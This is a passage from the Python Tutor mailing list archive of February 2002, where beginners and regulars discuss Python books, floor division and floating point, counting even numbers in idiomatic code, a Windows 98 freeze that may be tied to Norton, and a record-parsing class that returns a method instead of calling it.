frustrating for a beginner (at least that's how I found it.) Once you have a firm handle on the basics, I would recommend Wesley Chun's _Core Python Programming_. This book is more in depth and covers a more topics (such as CGI programming, networking and some Tk/Tcl programming) than Mr Gauld's book. However, it seems to assume you have some working knowledge of Python, the kind of knowledge that _Learn to Program Using Python_ gave me. As an aside, both of the authors are frequent contributors to this list as well. Happy coding, Britt ===== "The ocean, she is strange and wondrous, filled with animals that disturb even a Frenchman." __________________________________________________ Do You Yahoo!? Yahoo! Sports - Coverage of the 2002 Olympic Games http://sports.yahoo.com From jgregorio@qwest.net Wed Feb 20 19:06:51 2002 From: jgregorio@qwest.net (Josh Gregorio) Date: Wed, 20 Feb 2002 12:06:51 -0700 Subject: [Tutor] Teach Yourself Python in 24 Hours book References: <012e01c1b9ee$61e66a50$12f6c50a@LDR.local> Message-ID: <000f01c1ba41$c17b2c00$b374b4d1@computer> I would recommend against this book. The explanations are no better or worse than you will find elsewhere, and the sample exercises are so simple as to waste your time. I have three of the 'teach yourself books' and all were not very helpful. I won't be buying anymore. The Teach Yourself Python book is really poorly done. The early sample programs introduce a lot of concepts and techniques which aren't covered in the book at all (for example, regular expressions. Some of the programs rely on functions not introduced for several more chapters). Many of the sample programs rely on concepts and code that are either not covered, barely covered, or covered several chapters later. The explanations are written well enough, but then there is very little source code. Often after 600 or so words about a topic there are only one or two lines to illustrate that topic. The larger programs that are included to tie everything together have the same problem as the smaller programs: unexplained code. The exercises in the book seldom have programming assignments. Usually he recommends searching the Internet for some related topic (history of goto, control statements in early languages) or refers you to some absurdly complex book that a beginner would not be ready for (he refers the reader to Data Structures and Algorithms after a brief discussion of data types). The worst part of the book is that many of the examples are shown in a dos prompt or an idle window (screen shots). They are hard to read and take up a lot of space. To me it looks like they included them so that the book would be padded out to more pages. I'd say go through the tutorials on www.python.org and then get Learning Python by Lutz and Archer, from O'reilly press. That book has lots of code, real exercises (with answers!) and no fluff. ----- Original Message ----- From: Jonikas Valdemaras To: Sent: Wednesday, February 20, 2002 2:10 AM Subject: [Tutor] Teach Yourself Python in 24 Hours book > Hi all, > > Could you please sketch your impressions regarding > Ivan Van Laningham's book "Teach Yourself Python > in 24 Hours". > Is it worth to use this book as first Python book > (I have no programming experience)? > > Thanks, > Valdas > > > _______________________________________________ > Tutor maillist - Tutor@python.org > http://mail.python.org/mailman/listinfo/tutor > From wolf_binary@hotmail.com Wed Feb 20 19:38:37 2002 From: wolf_binary@hotmail.com (Cameron Stoner) Date: Wed, 20 Feb 2002 13:38:37 -0600 Subject: [Tutor] Python in 24 hours more like 24 years Message-ID: This is a multi-part message in MIME format. ------=_NextPart_000_0015_01C1BA13.E621BC00 Content-Type: text/plain; charset="iso-8859-1" Content-Transfer-Encoding: quoted-printable To all people intested in getting a beginning book for Python who have = never programmed before. Take my advice and buy the Python Pocket Reference, and Learn to Program = Using Python by Alan Gauld. I have the Python in 24 hours book, and it = stinks. I agree totally with Josh Gregorio on this. I have tried using = the 24 hours book and it is hard to understand and has much to be = desired as far as down to earth terms go for a non-programmer. Alan = Guald book is far better at telling how to get going. You can download = a free copy, not totally complete(but mostly), that helps a ton in the = non-programmer department. Just go the the python website under = documentation. www.python.org Cameron Stoner ------=_NextPart_000_0015_01C1BA13.E621BC00 Content-Type: text/html; charset="iso-8859-1" Content-Transfer-Encoding: quoted-printable
To all people intested in getting a = beginning book=20 for Python who have never programmed before.
 
Take my advice and buy the Python = Pocket=20 Reference, and Learn to Program Using Python by Alan = Gauld.  I=20 have the Python in 24 hours book, and it stinks.  I agree totally = with Josh=20 Gregorio on this.  I have tried using the 24 hours book and it is = hard to=20 understand and has much to be desired as far as down to earth terms go = for a=20 non-programmer.  Alan Guald book is far better at telling how to = get=20 going.  You can download a free copy, not totally complete(but = mostly),=20 that helps a ton in the non-programmer department.  Just go the the = python=20 website under documentation. www.python.org
 
Cameron = Stoner
------=_NextPart_000_0015_01C1BA13.E621BC00-- From wolf_binary@hotmail.com Wed Feb 20 19:48:40 2002 From: wolf_binary@hotmail.com (Cameron Stoner) Date: Wed, 20 Feb 2002 13:48:40 -0600 Subject: [Tutor] python 2.2 References: <5104D4DBC598D211B5FE0000F8FE7EB20E66C3A7@mbtlipnt02.btlabs.bt.co.uk> Message-ID: ----- Original Message ----- From: To: ; Sent: Wednesday, February 20, 2002 8:31 AM Subject: RE: [Tutor] python 2.2 > > for you. Too bad '98 doesn't have any meter so you can see how hard > > your CPU is cranking. > > Actually it does! Since win95 thers been a little applet, > not installed by default, called system monitor or somesuch. > > Its like a cut down version of the NT perf monitor. > You can select CPU, Memory, Swap etc and it'll draw > pretty coloured graphs for you.... > > Usually found under accessories|System tools. > > Also, In the powertoys free download you can also get > wintop which is just the unix top program running in > a window. > > Alan g > > _______________________________________________ > Tutor maillist - Tutor@python.org > http://mail.python.org/mailman/listinfo/tutor > I am not using Vpython all the time though. I only got it to mess around a bit. I have had Win98 freeze up and not let me do anything while I was just typing in a function or I'd be looking down to follow a flowchart or some example code out of a book and then wamo, the thing freezes up and all I get is like a screen shot that won't let me move my mouse. I have a Athlon 800Mhz, Win98, 512Meg Ram, and 32Meg ATI All in One Video Card. The thing is it freezes up when I'm not using VPython IDE. Do you think I should uninstall the VPython add on? Could this be causing me some obscure problem or do you think that it could be Norton, because I do have Norton Internet Security 2001? Cameron Stoner From csmith@blakeschool.org Wed Feb 20 18:47:13 2002 From: csmith@blakeschool.org (Christopher Smith) Date: Wed, 20 Feb 2002 12:47:13 -0600 Subject: [Tutor] / vs // Message-ID: The two operations below yield different results...does / know something that // doesn't know? >>> 3.9//1.3 2.0 >>> 3.9/1.3 3.0 It seems like // is being technically corrrect since 3.9 is a little smaller than 3.9 but that / is being a little smarter and trying to give you a closer approximation. >>> 3.9 3.8999999999999999 >>> 1.3 1.3 PEP 238 says that a//b should act like floor(a/b) but you can see in this example that it doesn't since that result is 3.0 not 2.0 >>> math.floor(3.9/1.3) 3.0 /c From dsh8290@rit.edu Wed Feb 20 20:40:21 2002 From: dsh8290@rit.edu (dman) Date: Wed, 20 Feb 2002 15:40:21 -0500 Subject: [Tutor] python 2.2 In-Reply-To: References: <5104D4DBC598D211B5FE0000F8FE7EB20E66C3A7@mbtlipnt02.btlabs.bt.co.uk> Message-ID: <20020220204021.GB22623@dman.ddts.net> On Wed, Feb 20, 2002 at 01:48:40PM -0600, Cameron Stoner wrote: | ----- Original Message ----- | From: | To: ; | Sent: Wednesday, February 20, 2002 8:31 AM | Subject: RE: [Tutor] python 2.2 | | > > for you. Too bad '98 doesn't have any meter so you can see how hard | > > your CPU is cranking. | > | > Actually it does! Since win95 thers been a little applet, | > not installed by default, called system monitor or somesuch. I'll look for it the next time I'm around a '98 box. Maybe it isn't so odd that I've never seen a CPU meter on windows until I got to use NT4.0 (and 2k) last year. I started using Windows (32 bit versions) in 1995 when my dad bought '95 for his machine. | I am not using Vpython all the time though. I only got it to mess | around a bit. I have had Win98 freeze up and not let me do anything | while I was just typing in a function or I'd be looking down to | follow a flowchart or some example code out of a book and then wamo, | the thing freezes up and all I get is like a screen shot that won't | let me move my mouse. I have a Athlon 800Mhz, Win98, 512Meg Ram, | and 32Meg ATI All in One Video Card. The thing is it freezes up | when I'm not using VPython IDE. IDE? Maybe you're talking about something different, but I thought that "VPython" referred to www.vpython.org though I am aware of some other things with "V" in the name (such as VTK) | Do you think I should uninstall the | VPython add on? Could this be causing me some obscure problem or do | you think that it could be Norton, because I do have Norton Internet | Security 2001? Norton very well could be causing problems. Shut it down and see if you still have the lockups. If not, well, then there you go. I used to have Guard Dog on my win98 system (I got it really cheap, and this was before I knew anything about unix or networking). Cygwin's bash shell would always trigger a "app connecting to the internet" alert. The thing is, Guard Dog didn't know whether something was connecting to the internet or not, it only knew that the socket library was accessed. It may be that python or vpython or some other component tries to use sockets and Norton ungracefully kills it. (sockets are used for more than just connecting to the internet) -D -- One man gives freely, yet gains even more; another withholds unduly, but comes to poverty. Proverbs 11:24 From csmith@blakeschool.org Wed Feb 20 20:38:44 2002 From: csmith@blakeschool.org (Christopher Smith) Date: Wed, 20 Feb 2002 14:38:44 -0600 Subject: [Tutor] style question Message-ID: I have a question of style and am wondering if you would consider giving some feedbakc. Let's say you have a task of finding out how many of 5 positive integer numbers (a-e) are even. Which (if either) of the two codes would be preferred: # {option A} odd=a%2+b%2+c%2+d%2+e%2 even=5-odd # {option B} if a%2==0: even = even + 1 if b%2==0: even = even + 1 if c%2==0: even = even + 1 if d%2==0: even = even + 1 if e%2==0: even = even + 1 odd = 5 - even Is option A guilty of relying on the "side effect" of mod 2 being a 1 or zero or is this a desireable/understandable use of this function's return value? /c From urnerk@qwest.net Wed Feb 20 21:25:32 2002 From: urnerk@qwest.net (Kirby Urner) Date: Wed, 20 Feb 2002 13:25:32 -0800 Subject: [Tutor] python 2.2 In-Reply-To: References: <5104D4DBC598D211B5FE0000F8FE7EB20E66C3A7@mbtlipnt02.btlabs.bt.co.uk> Message-ID: <4.2.0.58.20020220132440.01acb9c0@pop3.norton.antivirus> > because I do have Norton Internet >Security 2001? > >Cameron Stoner I think you should turn off Norton for awhile and see if the Python 2.2 freeze-up goes away. If you're not using VPython when the freeze happens, then I don't consider VPython a suspect. Kirby From urnerk@qwest.net Wed Feb 20 21:31:53 2002 From: urnerk@qwest.net (Kirby Urner) Date: Wed, 20 Feb 2002 13:31:53 -0800 Subject: [Tutor] / vs // In-Reply-To: Message-ID: <4.2.0.58.20020220132939.01acae50@pop3.norton.antivirus> > >PEP 238 says that a//b should act like floor(a/b) but you can >see in this example that it doesn't since that result is 3.0 not 2.0 > > >>> math.floor(3.9/1.3) >3.0 I think a,b are supposed to be integers or the purposes of this explanation, otherwise you get into floating point weirdness (there's no terminating representation of 3.9 in binary). >>> math.floor(39/13) 3.0 >>> 39//13 3 Kirby From dyoo@hkn.eecs.berkeley.edu Wed Feb 20 21:30:21 2002 From: dyoo@hkn.eecs.berkeley.edu (Danny Yoo) Date: Wed, 20 Feb 2002 13:30:21 -0800 (PST) Subject: [Tutor] style question In-Reply-To: Message-ID: On Wed, 20 Feb 2002, Christopher Smith wrote: > I have a question of style and am wondering if you would consider > giving some feedbakc. Let's say you have a task of finding out how > many of 5 positive integer numbers (a-e) are even. Which (if either) > of the two codes would be preferred: > > # {option A} > odd=a%2+b%2+c%2+d%2+e%2 > # {option B} > if a%2==0: > even = even + 1 > if b%2==0: > even = even + 1 > if c%2==0: > even = even + 1 > if d%2==0: > even = even + 1 > if e%2==0: > even = even + 1 > odd = 5 - even I like option A better than option B. Option B has the real potential of hiding errors because it's forcing us to look at the same variables over and over and over again. Humans will often get bored at repetition, and most programmers that I know are human. *grin* Here's a hypothetical example of why repetitious code can be a little hazardous: ### if a%2==0: even = even + 1 if b%2==0: even = even + 1 if c%2==0: even = even + 1 if c%2==0: ## <--- ??! even = even + 1 if e%2==0: even = even + 1 odd = 5 - even ### Something like the above is silly and very obvious when we have five cases... but yet it's still so easy to miss if we're not careful. Better to avoid the temptation altogether. > Is option A guilty of relying on the "side effect" of mod 2 being a 1 > or zero or is this a desireable/understandable use of this function's > return value? I think the approach with 'mod 2' is understandable; the modulo (remainder) function with 2 always returns a one or a zero. Don't worry; you're using the modulo operator the way it was meant to be used. It might be useful to see if applying list stuff can be helpful; when we're doing the same sort of stuff on a bunch of variables, that's often a sign that using a list might be better. For example: ### numbers = [a, b, c, d, e] odd = 0 for n in numbers: odd = odd + (n % 2) ### is nice because it's easily amendable; if we have more numbers to test, all we need to do is add them into the 'numbers' list. From tim@johnsons-web.com Wed Feb 20 21:40:39 2002 From: tim@johnsons-web.com (Tim Johnson) Date: Wed, 20 Feb 2002 12:40:39 -0900 Subject: [Tutor] Python in 24 hours more like 24 years In-Reply-To: References: Message-ID: <20020220214039.GH12173@johnsons-web.com> * Cameron Stoner [020220 10:57]: > To all people intested in getting a beginning book for Python who have never programmed before. > > Take my advice and buy the Python Pocket Reference, and Learn to Program Using Python by Alan Gauld. > I have the Python in 24 hours book, and it stinks. I agree totally with Josh Gregorio on this. > I have tried using the 24 hours book and it is hard to understand and has much to be desired as far > as down to earth terms go for a non-programmer. Alan Guald book is far better at telling how to get going. > You can download a free copy, not totally complete(but mostly), that helps a ton in the non-programmer department. > Just go the the python website under documentation. www.python.org I've designed and am teaching an online class on python. I agree the "24 hours..." is not for the new programmer. we are using Alan's book as the text. I'm also recommending that students use Guido's tutorial. Nothin' like the source :>) > > Cameron Stoner -- Tim Johnson http://www.johnsons-web.com From urnerk@qwest.net Wed Feb 20 21:33:46 2002 From: urnerk@qwest.net (Kirby Urner) Date: Wed, 20 Feb 2002 13:33:46 -0800 Subject: [Tutor] python 2.2 In-Reply-To: <20020220204021.GB22623@dman.ddts.net> References: <5104D4DBC598D211B5FE0000F8FE7EB20E66C3A7@mbtlipnt02.btlabs.bt.co.uk> Message-ID: <4.2.0.58.20020220133234.01af4840@pop3.norton.antivirus> > >IDE? Maybe you're talking about something different, but I thought >that "VPython" referred to > www.vpython.org >though I am aware of some other things with "V" in the name (such as >VTK) VPython (the one you cite) comes with its own modified IDLE to permit use of Tk more successfully than standard IDLE does. >Norton very well could be causing problems. Agreed. Kirby From urnerk@qwest.net Wed Feb 20 21:59:13 2002 From: urnerk@qwest.net (Kirby Urner) Date: Wed, 20 Feb 2002 13:59:13 -0800 Subject: [Tutor] Re: [Edu-sig] style question In-Reply-To: Message-ID: <4.2.0.58.20020220135745.01af8140@pop3.norton.antivirus> > Which (if either) of the two >codes would be preferred: I agree with Danny that a list-based approach would be better: from operator import add def check(testlist): return reduce(add,[i%2==0 for i in testlist]) >>> check([1,4,5,9,3,8,7]) 2 Kirby From hellenicdolphin@hotmail.com Wed Feb 20 22:51:57 2002 From: hellenicdolphin@hotmail.com (Hellenic Dolphin) Date: Thu, 21 Feb 2002 00:51:57 +0200 Subject: [Tutor] How do we make a program to be executed... Message-ID: Hi again, Now that I've wrote a small program, I want to know how can I make it an executable program. I mean how do I make it a complete program that we only need to exe its icon and not getting into the code and run script. I hope you do understand me. Furthermore, could you please tell me how do we clear the screen (cls)? Thanks and best regards, Thanos _________________________________________________________________ Get your FREE download of MSN Explorer at http://explorer.msn.com/intl.asp. From arcege@speakeasy.net Wed Feb 20 23:01:04 2002 From: arcege@speakeasy.net (Michael P. Reilly) Date: Wed, 20 Feb 2002 18:01:04 -0500 Subject: [Tutor] Re: [Edu-sig] style question In-Reply-To: <4.2.0.58.20020220135745.01af8140@pop3.norton.antivirus>; from urnerk@qwest.net on Wed, Feb 20, 2002 at 01:59:13PM -0800 References: <4.2.0.58.20020220135745.01af8140@pop3.norton.antivirus> Message-ID: <20020220180104.A899@speakeasy.net> On Wed, Feb 20, 2002 at 01:59:13PM -0800, Kirby Urner wrote: > > > Which (if either) of the two > >codes would be preferred: > > I agree with Danny that a list-based approach would be > better: > > from operator import add > > def check(testlist): > return reduce(add,[i%2==0 for i in testlist]) > > >>> check([1,4,5,9,3,8,7]) > 2 However, it is still a "bad idea" to add boolean values. A true integer is anything that is not zero. Conceivably, this could be -1; I could easily create a __eq__ method (in Py2.1 and later) that returns -1 or 1e10 or even "true". What's better is to get the length of the list where the value is true. how_many_evens = len( filter(lambda i, i%2==0, testlist) ) -Arcege From scarblac@pino.selwerd.nl Wed Feb 20 23:10:50 2002 From: scarblac@pino.selwerd.nl (Remco Gerlich) Date: Thu, 21 Feb 2002 00:10:50 +0100 Subject: [Tutor] Re: [Edu-sig] style question In-Reply-To: <20020220180104.A899@speakeasy.net>; from arcege@speakeasy.net on Wed, Feb 20, 2002 at 06:01:04PM -0500 References: <20020220180104.A899@speakeasy.net> Message-ID: <20020221001050.A3924@pino.selwerd.nl> On 0, "Michael P. Reilly" wrote: > However, it is still a "bad idea" to add boolean values. However, a%2 isn't a boolean just because it's either 0 or 1. It's the remainder if a is divided by 2. And the sum of those remainders is obviously the number of nubmers that were odd. > A true integer > is anything that is not zero. Conceivably, this could be -1; I could > easily create a __eq__ method (in Py2.1 and later) that returns -1 or > 1e10 or even "true". Yes. But the truth value was never tested, and isn't relevant. This is a good kneejerk reaction in many cases, but not here :-) -- Remco Gerlich From dsh8290@rit.edu Wed Feb 20 23:16:39 2002 From: dsh8290@rit.edu (dman) Date: Wed, 20 Feb 2002 18:16:39 -0500 Subject: [Tutor] style question In-Reply-To: References: Message-ID: <20020220231639.GA23675@dman.ddts.net> On Wed, Feb 20, 2002 at 02:38:44PM -0600, Christopher Smith wrote: | I have a question of style and am wondering if you would consider giving | some feedbakc. Let's say you have a task of finding out how many of 5 | positive integer numbers (a-e) are even. Which (if either) of the two | codes would be preferred: How about this : def is_even( n ) : return n % 2 == 0 def count_even( l ) : count = 0 for i in l : if is_even( i ) : count += 1 return count The advantages of this style are : o correct use of types (boolean vs. integer) o generalizes to any finite sequence of numbers, not just 5 o each operation is coded once (no repetition like the if-else ladder) I'm sure this could be written even shorter using functional styles or list comprehensions, but this is the first way I thought of writing it and it doesn't seem quite clear and not overly long. -D -- If we confess our sins, He is faithful and just and will forgive us our sins and purify us from all unrighteousness. I John 1:9 From lha2@columbia.edu Wed Feb 20 23:39:53 2002 From: lha2@columbia.edu (Lloyd Hugh Allen) Date: Wed, 20 Feb 2002 18:39:53 -0500 Subject: [Tutor] python 2.2 References: <5104D4DBC598D211B5FE0000F8FE7EB20E66C3A7@mbtlipnt02.btlabs.bt.co.uk> <4.2.0.58.20020220132440.01acb9c0@pop3.norton.antivirus> Message-ID: <3C7433C9.C2CE072F@mail.verizon.net> Kirby Urner wrote: > > > because I do have Norton Internet > >Security 2001? > > > >Cameron Stoner > > I think you should turn off Norton for awhile and see if > the Python 2.2 freeze-up goes away. If you're not using > VPython when the freeze happens, then I don't consider > VPython a suspect. > > Kirby > > _______________________________________________ > Tutor maillist - Tutor@python.org > http://mail.python.org/mailman/listinfo/tutor You have to do more than just turn it off, though, iirc. I had a similar problem as soon as I installed Norton, and eventually figured out that every time that Norton's background "Go Check for Virus Updates" daemon ran itself, my system would freeze (I've heard since then that it was probably fighting with either ZoneAlarm or (somehow) one of the Quicken agents). And the uninstaller didn't uninstall the piece that was giving me grief--I didn't really have my machine back until I went in and played with regedit, which I had never had to do before. From urnerk@qwest.net Wed Feb 20 23:50:44 2002 From: urnerk@qwest.net (Kirby Urner) Date: Wed, 20 Feb 2002 15:50:44 -0800 Subject: [Tutor] Re: [Edu-sig] style question In-Reply-To: <20020220180104.A899@speakeasy.net> References: <4.2.0.58.20020220135745.01af8140@pop3.norton.antivirus> <4.2.0.58.20020220135745.01af8140@pop3.norton.antivirus> Message-ID: <4.2.0.58.20020220154914.01aaa9d0@pop3.norton.antivirus> > >What's better is to get the length of the list where the value is true. > >how_many_evens = len( filter(lambda i, i%2==0, testlist) ) > > -Arcege As yet, I don't get the real difference between getting the length by filtering on i%2==0, and adding the 1s in reduce(add,[i%2==0 for i in testlist]). I'm missing some subtle point. Kirby From tim.one@comcast.net Wed Feb 20 23:13:47 2002 From: tim.one@comcast.net (Tim Peters) Date: Wed, 20 Feb 2002 18:13:47 -0500 Subject: [Tutor] / vs // In-Reply-To: Message-ID: [Christopher Smith] > The two operations below yield different results...does / know something > that // doesn't know? It's actually the reverse: // knows something / doesn't! This isn't easy to understand, though, and it will take real effort if you want to understand it fully. I do, but I suggest nobody else bother . > >>> 3.9//1.3 > 2.0 > >>> 3.9/1.3 > 3.0 > > It seems like // is being technically corrrect since 3.9 is a little > smaller than 3.9 It's also the case that 1.3 is an approximation, and that the number stored in the machine is a little larger than (the mathematical) 13/10. If 13/10 = I/2**J exactly for some integers I and J, then 13*2**J = 10*I exactly. But 5 divides 10*I evenly, therefore must also divide 13*2**J evenly. But there is no integer J such that 5 divides 13*2**J evenly. Therefore the decimal number 1.3 cannot be represented exactly as a binary floating-point number with any finite number of bits. > but that / is being a little smarter and trying to give you a closer > approximation. Nope. "/" takes the two approximations, divides them "as if" with infinite precison, then *rounds* the result to 53 significant bits. floor() doesn't round; for positive inputs, floor truncates instead. > >>> 3.9 > 3.8999999999999999 > >>> 1.3 > 1.3 As above, 1.3 isn't exactly 13/10 either, but it is so *close* to 13/10 that rounding its true decimal value to 17 significant decimal digits yields "1.3". Precisely, assuming your platform C library does best-possible conversion of decimal strings to IEEE doubles, the value stored for 1.3 is exactly 11709359031163290 ----------------- 9007199254740992 (this is 2**54, by the way) and converting that back to decimal again gives 1.300000000000000044408920985006... If you round that to 17 significant decimal digits, you get the "1.3" that Python displays. > PEP 238 says that a//b should act like floor(a/b) but you can see in this > example that it doesn't since that result is 3.0 not 2.0 Another subtletly: the docs say "floor", not "math.floor". floor is a mathematical function; math.floor is a computer implementation of that mathematical function, but subject to limitations due to finite floating-point accuracy. In much the same way, floating-point numbers themselves are an approximation to real numbers. And another subtlety: the "/" in the doc's "floor(a/b)" means mathematical ("infinite precision") division, not computer floating-point division. > >>> math.floor(3.9/1.3) > 3.0 The approximation computed for 3.9/1.3 happens to be exactly 3.0, so math.floor() leaves it alone. // is the smarter one here. It knows that 3.9/1.3 does not have an exact result, and indeed that if carried out to infinite precision it would give a quotient of 2 and leave a remainder of >>> math.fmod(3.9, 1.3) 1.2999999999999998 >>> What "//" returns is the first element of the tuple returned by the builtin divmod(): >>> divmod(3.9, 1.3) (2.0, 1.2999999999999998) >>> The important point to take from all this is that floor truncates positive inputs, while floating-point "/" rounds. I told you at the start it would be painful . From urnerk@qwest.net Wed Feb 20 23:55:17 2002 From: urnerk@qwest.net (Kirby Urner) Date: Wed, 20 Feb 2002 15:55:17 -0800 Subject: [Tutor] Re: [Edu-sig] style question In-Reply-To: <20020221001050.A3924@pino.selwerd.nl> References: <20020220180104.A899@speakeasy.net> <20020220180104.A899@speakeasy.net> Message-ID: <4.2.0.58.20020220155115.01aa6230@pop3.norton.antivirus> At 12:10 AM 2/21/2002 +0100, Remco Gerlich wrote: >On 0, "Michael P. Reilly" wrote: > > However, it is still a "bad idea" to add boolean values. > >However, a%2 isn't a boolean just because it's either 0 or 1. It's the >remainder if a is divided by 2. And the sum of those remainders is >obviously the number of nubmers that were odd. In the example being criticized (mine), I was going a%2==1, getting a boolean to count evens, which is what we wanted to count, not the number of odds. But the proposed alternative used the same boolean test, but filtered out the falses, counting the number of remainders. What I'm not getting is why adding 1s is worse than filtering out 0s and counting how many are left. Kirby From dsh8290@rit.edu Thu Feb 21 00:13:42 2002 From: dsh8290@rit.edu (dman) Date: Wed, 20 Feb 2002 19:13:42 -0500 Subject: [Tutor] python 2.2 In-Reply-To: <4.2.0.58.20020220133234.01af4840@pop3.norton.antivirus> References: <5104D4DBC598D211B5FE0000F8FE7EB20E66C3A7@mbtlipnt02.btlabs.bt.co.uk> <4.2.0.58.20020220133234.01af4840@pop3.norton.antivirus> Message-ID: <20020221001342.GA24585@dman.ddts.net> On Wed, Feb 20, 2002 at 01:33:46PM -0800, Kirby Urner wrote: | >IDE? Maybe you're talking about something different, but I thought | >that "VPython" referred to | > www.vpython.org | >though I am aware of some other things with "V" in the name (such as | >VTK) | | VPython (the one you cite) comes with its own modified IDLE to | permit use of Tk more successfully than standard IDLE does. I don't use IDLE in the first place, so I hadn't noticed. I just stuck the visual/ directory (package) and cvisualmodule.so in $PYTHONPATH. -D -- The crucible for silver and the furnace for gold, but the Lord tests the heart. Proverbs 17:3 From p.hartley@spitech.com Thu Feb 21 03:29:53 2002 From: p.hartley@spitech.com (Paul Hartley) Date: Thu, 21 Feb 2002 11:29:53 +0800 Subject: [Tutor] Function return Message-ID: <002601c1ba88$391e7320$ebe710ac@pc7345> This is a multi-part message in MIME format. ------=_NextPart_000_001F_01C1BACB.150103C0 Content-Type: text/plain; charset="iso-8859-1" Content-Transfer-Encoding: quoted-printable I am trying to create a python program to read a text file containing = fixed length records, splitting the records up into fields. I read all the lines using readlines() into an array, then parse each = line into a dictionary and finally append the dictionary for each line = into an array of all records (Comments on the style and code used much appreciated) However I was trying to get at the records and fields and tried to = return the records array from a function because in prevous languages I = read that it is better to wrap data in a class around a function rather = than accessing the data directly and my program fell over when I tried = to return self.records in the code below (see the function getRecords Below is the source code :- class closedRecords: def __init__(self, file, filter =3D None): f =3D open(file,'r') lines =3D f.readlines() f.close() self.records =3D []=20 for l in lines: record =3D self.parseLine(l) if filter: if record["jobname"] =3D=3D filter: self.records.append(record) else: self.records.append(record) def noRecords(self): # Under the assumption that it is better to = provide acces via a function # rather than access the class.records = directly return len(self.records) def getRecords(self): return self.records # This does not seem to be working def parseLine(self, line): # line is fixed length, with fixed length = records (from a dbase file) dict =3D {} dict['deleted'] =3D line[0:1] dict['barcode'] =3D line[1:9] dict['jobcode'] =3D line[9:17] etc ..... return dict=20 if __name__ =3D=3D "__main__": closed =3D closedRecords("closed.001", "LIS00139") print 'No records', closed.noRecords() recs =3D closed.getRecords print "Records:",recs # Prints out what looks like addresses to the = function, not the array for r in recs: # Fails with not a sequence error print r["jobcode"] ------=_NextPart_000_001F_01C1BACB.150103C0 Content-Type: text/html; charset="iso-8859-1" Content-Transfer-Encoding: quoted-printable
I am trying to create a python program = to read a=20 text file containing fixed length records, splitting the records up into = fields.
 
I read all the lines using readlines() = into an=20 array, then parse each line into a dictionary and finally append the = dictionary=20 for each line into an array of all records
 
(Comments on the style and code used = much=20 appreciated)
 
However I was trying to get at the = records and=20 fields and tried to return the records array from a function because in = prevous=20 languages I read that it is better to wrap data in a class around a = function=20 rather than accessing the data directly and my program fell over when I = tried to=20 return self.records in the code below (see the function = getRecords
 
Below is the source code = :-
 
class closedRecords:
 
  def __init__(self, file, filter = =3D=20 None):
    f =3D open(file,'r')
    = lines =3D=20 f.readlines()
    f.close()
    = self.records=20 =3D []
    for l in = lines:
     =20 record =3D self.parseLine(l)
      if=20 filter:
        if = record["jobname"] =3D=3D=20 filter:
         =20 self.records.append(record)
     =20 else:
       =20 self.records.append(record)
 
  def noRecords(self):  # = Under the=20 assumption that it is better to provide acces via a = function
          &nbs= p;            = ;         =20 # rather than access the class.records = directly
   =20 return len(self.records)
 
  def = getRecords(self):
   =20 return self.records  # This does not seem to be = working
 
  def parseLine(self, line): # = line is fixed=20 length, with fixed length records (from a dbase = file)
    dict=20 =3D {}
    dict['deleted'] =3D = line[0:1]
   =20 dict['barcode'] =3D line[1:9]
    dict['jobcode'] =3D=20 line[9:17]
    etc = .....
   =20 return dict
 
if __name__ =3D=3D = "__main__":
 
  closed =3D = closedRecords("closed.001",=20 "LIS00139")
  print 'No records', closed.noRecords()
  = recs =3D=20 closed.getRecords
  print "Records:",recs  # Prints out = what looks=20 like addresses to the function, not the array
  for r in=20 recs:           &n= bsp;  =20 # Fails with not a sequence error
    print=20 r["jobcode"]
------=_NextPart_000_001F_01C1BACB.150103C0-- From wolf_binary@hotmail.com Thu Feb 21 03:38:02 2002 From: wolf_binary@hotmail.com (Cameron Stoner) Date: Wed, 20 Feb 2002 21:38:02 -0600 Subject: [Tutor] dictionaries Message-ID: This is a multi-part message in MIME format. ------=_NextPart_000_0005_01C1BA56.DFD952C0 Content-Type: text/plain; charset="iso-8859-1" Content-Transfer-Encoding: quoted-printable I would like to know why the C part of my dictionary when I update it = from the 2nd one goes before B. >>> x =3D "A" >>> y =3D "1" >>> dict=3D{} >>> dict2 =3D {x:y} >>> dict.update(dict2) >>> dict {'A': '1'} >>> x =3D "B" >>> y =3D "2" >>> dict2 =3D {x:y} >>> dict.update(dict2) >>> dict {'A': '1', 'B': '2'} >>> x =3D "C" >>> y =3D "3" >>> dict2 =3D {x:y} >>> dict.update(dict2) >>> dict {'A': '1', 'C': '3', 'B': '2'} Thanks, Cameron Stoner=20 >>>=20 ------=_NextPart_000_0005_01C1BA56.DFD952C0 Content-Type: text/html; charset="iso-8859-1" Content-Transfer-Encoding: quoted-printable
I would like to know why the C part of = my=20 dictionary when I update it from the 2nd one goes before B.
 
>>> x =3D "A"
>>> = y =3D=20 "1"
>>> dict=3D{}
>>> dict2 =3D = {x:y}
>>>=20 dict.update(dict2)
>>> dict
{'A': '1'}
>>> x = =3D=20 "B"
>>> y =3D "2"
>>> dict2 =3D = {x:y}
>>>=20 dict.update(dict2)
>>> dict
{'A': '1', 'B': = '2'}
>>>=20 x =3D "C"
>>> y =3D "3"
>>> dict2 =3D = {x:y}
>>>=20 dict.update(dict2)
>>> dict
{'A': '1', 'C': = '3',=20 'B': '2'}
 
Thanks,
Cameron Stoner 

>>>
------=_NextPart_000_0005_01C1BA56.DFD952C0-- From urnerk@qwest.net Thu Feb 21 03:52:41 2002 From: urnerk@qwest.net (Kirby Urner) Date: Wed, 20 Feb 2002 19:52:41 -0800 Subject: [Tutor] dictionaries In-Reply-To: Message-ID: <4.2.0.58.20020220195158.00cd8a30@pop3.norton.antivirus> At 09:38 PM 2/20/2002 -0600, Cameron Stoner wrote: >I would like to know why the C part of my dictionary when I update it from >the 2nd one goes before B. > Dictionaries have no concept of order. Nothing should surprise you about what comes before or after what in a dictionary. Kirby From urnerk@qwest.net Thu Feb 21 04:24:46 2002 From: urnerk@qwest.net (Kirby Urner) Date: Wed, 20 Feb 2002 20:24:46 -0800 Subject: [Tutor] Function return In-Reply-To: <002601c1ba88$391e7320$ebe710ac@pc7345> Message-ID: <4.2.0.58.20020220195653.0094f610@pop3.norton.antivirus> > closed = closedRecords("closed.001", "LIS00139") > print 'No records', closed.noRecords() > recs = closed.getRecords ^^^^^^^^^^^^^^^^^ Here's a problem: by leaving off the open-close parentheses, you return a reference to the function, instead of causing the function to execute. Which explains... > print "Records:",recs # Prints out what looks like addresses to the function, not the array ...why recs is a reference to a method in your class. > for r in recs: # Fails with not a sequence error > print r["jobcode"] Just put the parentheses after closed.getRecords() <-- like this and it'll probably work. A comment on style: I think using a class to wrap the the functionality needed to read some fixed length records is overkill in this example. What you get at the end of the day is a single instance 